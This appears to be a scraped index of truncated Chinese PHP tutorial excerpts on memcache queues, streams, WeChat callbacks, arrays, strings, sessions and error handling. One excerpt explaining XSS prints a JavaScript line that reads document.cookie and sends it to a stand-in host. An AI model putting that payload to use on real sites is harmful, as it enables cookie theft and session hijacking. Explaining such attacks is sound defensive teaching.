memcacheQueue.class.php 複製代碼 代碼如下:<?php/** * PHP memcache 隊列類 * @author LKK/lianq.net * @version 0.3 * @修改說明: * 1.放棄了之前的AB面輪值思路,使用類似數組的構造,重寫了此類. * 2.隊列預設先進先出,但增加了反向讀取功能. * 3.感謝網友FoxHunter提出的寶貴意見. * @example:
在Java裡,流是一個很重要的概念。流(stream)的概念源於UNIX中管道(pipe)的概念。在UNIX中,管道是一條不間斷的位元組流,用來實現程式或進程間的通訊,或讀寫外圍裝置、外部檔案等。根據流的方向又可以分為輸入資料流和輸出資料流,同時可以在其外圍再套上其它流,比如緩衝流,這樣就可以得到更多流處理方法。PHP裡的流和Java裡的流實際上是同一個概念,只是簡單了一點。由於PHP主要用於Web開發,所以“流”這塊的概念被提到的較少。如果有Java基礎,對於PHP裡的流就更容易理解了。其實P
一、寫好介面程式在你的伺服器上上傳好一個介面程式檔案,如http://www.yourdomain.com/weixin.php 內容如下:複製代碼 代碼如下:<?phpdefine("TOKEN", "weixin");//自己定義的token 就是個通訊的私密金鑰$wechatObj = new wechatCallbackapiTest();$wechatObj->valid();//$wechatObj->responseMsg();class
複製代碼 代碼如下:<?phpdefine('IE', 1);define('FIREFOX', 2);define('CHROME', 3);define('OPERA', 4);class UserAgentDetect{ static $version = array(); static $userAgent = ''; static function
我們首先給出兩個數組複製代碼 代碼如下:<?php $r = array(1,2,3,4,5,6); $e = array(7,8,9,10); ?> 下面我們用array_merge和加號來何必這兩數組複製代碼 代碼如下:<?php print_r($r+e); // 輸出<span style="font-family: Simsun;font-size:16px; ">Array ( [0
我們來舉一個例子:複製代碼 代碼如下:<?php $arr = array('a','b','c','d'); unset($arr[1]); print_r($arr); ?>我之前想象的是unset之後,數組$arr應該會壓縮數組以填補缺少的元素位置,但print_r($arr)之後,結果卻不是那樣的,最終結果是 Array ( [0] => a [2] => c [3] => d
xss的概念就不用多說了,它的危害是極大的,這就意味著一旦你的網站出現xss漏洞,就可以執行任意的js代碼,最可怕的是攻擊者利用js擷取cookie或者session劫持,如果這裡麵包含了大量敏感資訊(身份資訊,管理員資訊)等,那完了。。。如下js擷取cookie資訊:複製代碼 代碼如下:url=document.top.location.href;cookie=document.cookie;c=new Image();c.src='http://www.test.com/c.php?c='+
PHP Ctype擴充是PHP4.2開始就內建的擴充,注意,Ctype系列函數都只有一個字串型別參數,它們返回布爾值。複製代碼 代碼如下:$str = "0.1123";//檢查字串所有字元是否為數字echo "ctype_digit:" . ctype_digit($str); //空//檢測是否為數字字串,可為負數和小數echo "is_numberic:" . is_numeric($str); //1從上面可以看出ctype_digit()和is_numberic()的區別。
declare 結構用來設定一段代碼的執行指令,它的文法結構如下:複製代碼 代碼如下:declare
如擷取第二個$str[1]或$str{1} ,不建議使用{},最好使用[]測試如下複製代碼 代碼如下://擷取字元最後一個字元$str = 'phpddt.com';echo $str[strlen($str)-1]; //m//修改第一個字元$str = 'phpddt.com';$str[0] = 'a'; //ahpddt.com//方括弧中的數字超出範圍將會產生空白。 $str = 'phpddt.com';$str[100] = 'y';
第一步:先在本地寫一個登陸頁面和一個內容頁面(登陸了才能進去)吧。代碼大致如下:下面是login.php,用於請求登陸的,通過post傳遞參數,如果登陸成功就會註冊session。複製代碼 代碼如下:<?phpsession_start();if (isset($_POST['username'])) { $username = $_POST['username']; $password =
一、效果圖:二、實現代碼複製代碼 代碼如下:<?php// 自訂異常函數set_exception_handler('handle_exception');// 自訂錯誤函數set_error_handler('handle_error');/** * 異常處理 * * @param mixed $exception 異常對象 * @author blog.snsgou.com */function
最後發現了問題所在,原來這類文檔在結束時,一定要靠近行的第一位,就是說EOF前面不能有空格,而為了代碼縮排,正好產生了這樣的問題.複製代碼 代碼如下:$str = <<<'EOD'Example of stringspanning multiple linesusing nowdoc syntax.EOD;//EOD一定要靠近前面,不能有空格,同時不要漏掉結束符分號;附:heredoc和nowdoc的區別heredoc使用 <<< EOT
遍曆目錄,結果存入數組。支援php4及以上。php5以後可用scandir()函數代替while迴圈。複製代碼 代碼如下:<?php/*** @param string $dir* @return array*/function my_scandir($dir){ $files = array(); if ( $handle = opendir($dir) ) { while ( ($file = readdir($handle)) !==
1.構造微信提供的XML格式的音樂訊息音樂的XML格式是這樣的:複製代碼 代碼如下:<xml> <ToUserName><![CDATA[toUser]]></ToUserName> <FromUserName><![CDATA[fromUser]]></FromUserName> <CreateTime>12345678&
複製代碼 代碼如下:<?php/** * 加密解密類 * 該演算法僅支援加密數字。比較適用於資料庫中id欄位的加密解密,以及根據數字顯示url的加密。 * @author 深秋的竹子 * @version alpha * @加密原則 標記長度 + 補位 + 數字替換 * @加密步驟: * 將a-z,A-Z,0-9 62個字元打亂,取前M(數字最大的位元)位作為 標記長度字串,取第M+1
注意注釋部分的文字介紹哦~複製代碼 代碼如下:<?php//執行個體化一個數組$array = array();//數組由兩部分組成 如下//array(鍵名[key]=>值[value])//鍵名一般用與索引//類型可以為 int 或 字串[int是什麼可以查php手冊]//所以可以這樣寫//$array = array(0=>'a',1=>'b');//你也可以這樣寫//array會自動補充索引鍵名,預設是 int值 由0開始$array =
php的引用(就是在變數或者函數、對象等前面加上&符號),在PHP 中引用的意思是:不同的名字訪問同一個變數內容。與C語言中的指標是有差別的.C語言中的指標裡面儲存的是變數的內容,在記憶體中存放的地址。1.變數的引用PHP 的引用允許你用兩個變數來指向同一個內容複製代碼 代碼如下:<? $a="ABC"; $b =&$a; echo $a;//這裡輸出:ABC
php實現正負數數組最大子序列,要求給出數組,該數組由正負數字組成,找出該數組中連續元素組成的子數組的最大值。這其實得算是個背包變種吧。複製代碼 代碼如下:<?php$list = array(1,-3,-5,-7,8,9,-11,5);$cur = 0;$term = 0;$res = 0;$begin = 0;foreach($list as $k => $v){ $cur += $v; if($cur < 0){ $cur = 0
經常在某些論壇和QQ群裡看到一些朋友會問“怎樣才能學好PHP,怎樣才能學好***語言